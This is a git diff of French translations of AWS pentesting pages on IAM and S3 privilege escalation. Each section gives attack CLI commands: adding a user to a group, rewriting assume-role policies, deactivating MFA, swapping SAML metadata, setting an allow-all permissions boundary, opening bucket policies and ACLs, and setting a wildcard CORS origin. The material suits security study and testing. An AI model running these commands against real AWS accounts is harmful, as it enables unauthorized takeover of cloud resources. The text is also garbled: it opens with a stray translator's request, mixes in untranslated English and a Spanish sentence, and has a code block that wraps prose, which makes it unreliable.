+Veuillez fournir le contenu du fichier src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md à traduire. Je traduirai en français en conservant exactement la syntaxe markdown/HTML et en respectant les éléments à ne pas traduire (code, noms de services, liens, chemins, tags, etc.).
```json
{
"Version": "2012-10-17",
@@ -127,28 +127,28 @@ Vous pouvez utiliser une politique comme :
]
}
```
-**Impact:** Escalade directe de privilèges en ajoutant des permissions via des policies.
+**Impact :** Escalade directe des privilèges en ajoutant des autorisations via des politiques.
### **`iam:AddUserToGroup`**
-Permet de s'ajouter à un groupe IAM, escaladant les privilèges en héritant des permissions du groupe.
+Permet de s'ajouter soi-même à un groupe IAM, augmentant les privilèges en héritant des autorisations du groupe.
**Exploit:**
```bash
aws iam add-user-to-group --group-name --user-name
```
-**Impact:** Direct privilege escalation au niveau des permissions du groupe.
+**Impact:** Escalade directe des privilèges au niveau des permissions du groupe.
### **`iam:UpdateAssumeRolePolicy`**
-Permet de modifier le assume role policy document d'un rôle, permettant l'assumption du rôle et l'obtention de ses permissions associées.
+Permet de modifier le assume role policy document d'un rôle, permettant d'assumer ce rôle et les permissions qui y sont associées.
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name \
--policy-document file:///path/to/assume/role/policy.json
```
-Lorsque la politique ressemble à ce qui suit, ce qui donne à l'utilisateur l'autorisation d'assumer le rôle :
+Lorsque la politique ressemble à ce qui suit, ce qui donne à l'utilisateur la permission d'assumer le rôle :
```json
{
"Version": "2012-10-17",
@@ -163,27 +163,27 @@ Lorsque la politique ressemble à ce qui suit, ce qui donne à l'utilisateur l'a
]
}
```
-**Impact :** Escalade directe des privilèges en assumant les permissions de n'importe quel rôle.
+**Impact:** Escalade de privilèges directe en assumant les permissions de n'importe quel rôle.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
-Permet de téléverser une clé publique SSH pour s'authentifier auprès de CodeCommit et de désactiver des dispositifs MFA, conduisant à une possible escalade indirecte des privilèges.
+Permet de téléverser une clé publique SSH pour s'authentifier auprès de CodeCommit et de désactiver des appareils MFA, ce qui peut conduire à une escalade de privilèges indirecte.
**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name --ssh-public-key-body
```
-**Exploit pour MFA Deactivation:**
+**Exploit pour la désactivation du MFA :**
```bash
aws iam deactivate-mfa-device --user-name --serial-number
```
-**Impact :** Élévation de privilèges indirecte en autorisant l'accès à CodeCommit ou en désactivant la protection MFA.
+**Impact :** Escalade de privilèges indirecte en activant l'accès à CodeCommit ou en désactivant la protection MFA.
### **`iam:ResyncMFADevice`**
-Permet la resynchronisation d'un dispositif MFA, pouvant conduire à une élévation de privilèges indirecte en manipulant la protection MFA.
+Permet de resynchroniser un appareil MFA, ce qui peut conduire à une escalade de privilèges indirecte en manipulant la protection MFA.
-**Commande Bash :**
+**Bash Command:**
```bash
aws iam resync-mfa-device --user-name --serial-number \
--authentication-code1 --authentication-code2
@@ -192,9 +192,9 @@ aws iam resync-mfa-device --user-name --serial-number
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-Avec ces permissions, vous pouvez **modifier les métadonnées XML de la connexion SAML**. Ensuite, vous pourriez abuser de la **SAML federation** pour **login** avec n'importe quel **role qui lui fait confiance**.
+Avec ces permissions, vous pouvez **modifier les métadonnées XML de la connexion SAML**. Ensuite, vous pourriez abuser de la **fédération SAML** pour **login** avec n'importe quel **role qui lui fait confiance**.
-Notez que si vous faites cela, **les utilisateurs légitimes ne pourront pas se connecter**. Cependant, vous pouvez récupérer le XML, y mettre le vôtre, vous connecter et remettre la configuration précédente.
+Notez qu'en faisant cela, **les utilisateurs légitimes ne pourront pas login**. Cependant, vous pourriez obtenir le XML, y mettre le vôtre, login et restaurer la configuration précédente.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document --saml-provider-arn
```
> [!NOTE]
-> TODO: Un outil capable de générer les métadonnées SAML et de login avec un rôle spécifié
+> TODO: Un outil capable de générer les métadonnées SAML et de se connecter avec un rôle spécifié
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-(Incertain à ce sujet) Si un attaquant dispose de ces **autorisations**, il pourrait ajouter un nouveau **Thumbprint** pour réussir à login dans tous les rôles faisant confiance au fournisseur.
+(Incertain à ce sujet) Si un attaquant possède ces **permissions** il pourrait ajouter un nouveau **Thumbprint** et ainsi réussir à se connecter à tous les rôles faisant confiance au provider.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,8 +226,35 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
-Cette autorisation permet à un attaquant de mettre à jour le permissions boundary d'un utilisateur, pouvant ainsi escalader ses privilèges en lui permettant d'effectuer des actions normalement restreintes par ses autorisations existantes.
+Cette permission permet à un attaquant de mettre à jour le permissions boundary d'un utilisateur, escaladant potentiellement ses privilèges en lui permettant d'effectuer des actions normalement restreintes par ses permissions existantes.
+```bash
+aws iam put-user-permissions-boundary \
+--user-name \
+--permissions-boundary arn:aws:iam:::policy/
+Un ejemplo de una política que no aplica ninguna restricción es:
+
+
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BoundaryAllowAll",
+"Effect": "Allow",
+"Action": "*",
+"Resource": "*"
+}
+]
+}
+```
+### `iam:PutRolePermissionsBoundary`
+
+Un acteur disposant de iam:PutRolePermissionsBoundary peut définir une limite de permissions sur un rôle existant. Le risque apparaît lorsqu'une personne disposant de cette autorisation modifie la limite d'un rôle : elle peut restreindre de manière inappropriée des opérations (provoquant une perturbation du service) ou, si elle associe une limite permissive, étendre effectivement ce que le rôle peut faire et obtenir une élévation de privilèges.
+```bash
+aws iam put-role-permissions-boundary \
+--role-name \
+--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
+```
## Références
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
index ad3f6bb11..cf8506571 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-Un attacker disposant de ces permissions sur des buckets intéressants pourrait hijack resources et escalate privileges.
+Un attaquant disposant de ces permissions sur des buckets intéressants pourrait détourner des ressources et escalader des privilèges.
-Par exemple, un attacker disposant de ces **permissions sur un cloudformation bucket** appelé "cf-templates-nohnwfax6a6i-us-east-1" pourra hijack le déploiement. L'accès peut être accordé avec la policy suivante:
+Par exemple, un attaquant avec ces **permissions sur un cloudformation bucket** appelé "cf-templates-nohnwfax6a6i-us-east-1" pourra détourner le déploiement. L'accès peut être donné avec la policy suivante:
```json
{
"Version": "2012-10-17",
@@ -34,29 +34,30 @@ Par exemple, un attacker disposant de ces **permissions sur un cloudformation bu
]
}
```
-Et le hijack est possible parce qu'il existe une **petite fenêtre temporelle entre le moment où le template est uploadé** dans le bucket et le moment où le **template est déployé**. Un attaquant pourrait simplement créer une **lambda function** dans son compte qui **se déclenche lorsque qu'une notification de bucket est envoyée**, et **hijacks** le **content** de ce **bucket**.
+And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**.
.png>)
-Le module Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) peut être utilisé pour automatiser cette attaque.\
-Pour plus d'informations, consultez la recherche originale : [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
+For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject`
-Ce sont les permissions pour **récupérer et téléverser des objets sur S3**. Plusieurs services au sein d'AWS (et en dehors) utilisent le stockage S3 pour conserver des **fichiers de configuration**.\
-Un attaquant ayant un **accès en lecture** pourrait y trouver des **informations sensibles**.\
-Un attaquant ayant un **accès en écriture** pourrait **modifier les données pour abuser d'un service et tenter d'escalader des privilèges**.\
+Ce sont les permissions pour **récupérer et uploader des objets sur S3**. Plusieurs services à l'intérieur d'AWS (et en dehors) utilisent le stockage S3 pour conserver des **fichiers de configuration**.\
+Un attaquant ayant **un accès en lecture** à ces fichiers pourrait y trouver des **informations sensibles**.\
+Un attaquant ayant **un accès en écriture** pourrait **modifier les données pour abuser d'un service et tenter d'escalader les privilèges**.\
Voici quelques exemples :
-- Si une instance EC2 stocke les **user data dans un bucket S3**, un attaquant pourrait les modifier pour **exécuter du code arbitraire à l'intérieur de l'instance EC2**.
+- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**.
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
-Il est très courant que les fichiers d'état [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) soient enregistrés dans le blob storage des fournisseurs cloud, par ex. AWS S3. Le suffixe des fichiers d'état est `.tfstate`, et les noms de bucket indiquent souvent qu'ils contiennent des fichiers d'état terraform. En général, chaque compte AWS a un tel bucket pour stocker les fichiers d'état qui reflètent l'état du compte. De plus, dans des comptes réels, presque toujours tous les développeurs ont `s3:*` et parfois même les utilisateurs business ont `s3:Put*`.
+Il est très courant que les fichiers d'état de [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) soient sauvegardés dans le blob storage des fournisseurs cloud, par ex. AWS S3. Le suffixe de fichier pour un state file est `.tfstate`, et les noms de bucket indiquent souvent qu'ils contiennent des terraform state files. En général, chaque compte AWS possède un tel bucket pour stocker les fichiers d'état qui montrent l'état du compte.
+Aussi, dans des comptes réels, presque toujours tous les développeurs ont `s3:*` et parfois même des utilisateurs métiers ont `s3:Put*`.
-Donc, si vous disposez des permissions listées sur ces fichiers, il existe un vecteur d'attaque qui vous permet d'obtenir RCE dans le pipeline avec les privilèges de `terraform` — la plupart du temps `AdministratorAccess`, ce qui fait de vous l'admin du compte cloud. Vous pouvez aussi utiliser ce vecteur pour effectuer une attaque par déni de service en faisant en sorte que `terraform` supprime des ressources légitimes.
+Donc, si vous avez les permissions listées sur ces fichiers, il existe un vecteur d'attaque qui vous permet d'obtenir RCE dans le pipeline avec les privilèges de `terraform` — la plupart du temps `AdministratorAccess`, vous faisant administrateur du compte cloud. De plus, vous pouvez utiliser ce vecteur pour effectuer une attaque de déni de service en forçant `terraform` à supprimer des ressources légitimes.
-Suivez la description dans la section *Abusing Terraform State Files* de la page *Terraform Security* pour du code d'exploit directement exploitable :
+Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code:
{{#ref}}
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
@@ -64,7 +65,7 @@ Suivez la description dans la section *Abusing Terraform State Files* de la page
### `s3:PutBucketPolicy`
-Un attaquant, qui doit être **du même compte** — sinon l'erreur `The specified method is not allowed` sera déclenchée — avec cette permission pourra se donner plus de permissions sur le(s) bucket(s), lui permettant de lire, écrire, modifier, supprimer et exposer des buckets.
+An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -122,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -150,7 +151,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-Un attaquant pourrait abuser de ces autorisations pour s'octroyer un accès plus étendu à des objets spécifiques à l'intérieur des buckets.
+Un attaquant pourrait abuser de ces permissions pour s'accorder davantage d'accès sur des objets spécifiques à l'intérieur des buckets.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket --key flag
@@ -177,9 +178,31 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
-Un attaquant disposant de ces privilèges devrait pouvoir appliquer un Acl à une version spécifique d'un objet.
+Un attaquant disposant de ces privilèges devrait pouvoir mettre un Acl sur une version spécifique d'un objet.
```bash
aws s3api get-object-acl --bucket --key flag
aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json
```
+### `s3:PutBucketCORS`
+
+Un attaquant disposant de la permission s3:PutBucketCORS peut modifier la configuration CORS (Cross-Origin Resource Sharing) d'un bucket, ce qui contrôle quels domaines web peuvent accéder à ses endpoints.
+
+S'ils définissent une politique permissive, n'importe quel site web pourrait effectuer des requêtes directes vers le bucket et lire les réponses depuis un navigateur.
+
+Cela signifie que, potentiellement, si un utilisateur authentifié d'une web app hébergée depuis le bucket visite le site de l'attaquant, celui-ci pourrait exploiter la politique CORS permissive et, selon l'application, accéder aux données de profil de l'utilisateur voire détourner son compte.
+```bash
+aws s3api put-bucket-cors \
+--bucket \
+--cors-configuration '{
+"CORSRules": [
+{
+"AllowedOrigins": ["*"],
+"AllowedMethods": ["GET", "PUT", "POST"],
+"AllowedHeaders": ["*"],
+"ExposeHeaders": ["x-amz-request-id"],
+"MaxAgeSeconds": 3000
+}
+]
+}'
+```
{{#include ../../../../banners/hacktricks-training.md}}
.png)
.png)
.png)